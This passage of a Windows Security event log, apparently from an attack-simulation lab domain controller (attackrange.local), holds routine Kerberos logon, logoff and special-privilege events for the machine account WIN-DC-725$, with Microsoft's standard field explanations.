	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248636
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDECF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248635
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDE6E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248634
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDE6E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63982

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248633
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDE6E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248656
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE127

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248655
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE127
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63989

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248654
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE127

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248653
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE0C6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248652
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE0C6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63988

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248651
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE0C6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248650
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE060

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248649
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE060
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63987

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248648
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE060

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248647
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDFFF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248646
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBDFFF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63986

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248645
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBDFFF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248668
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE2CE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248667
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE2CE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63993

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248666
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE2CE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248665
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE26D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248664
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE26D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63992

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248663
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE26D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248662
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE207

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248661
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE207
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63991

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248660
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE207

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248659
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE1A6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248658
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE1A6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63990

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248657
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
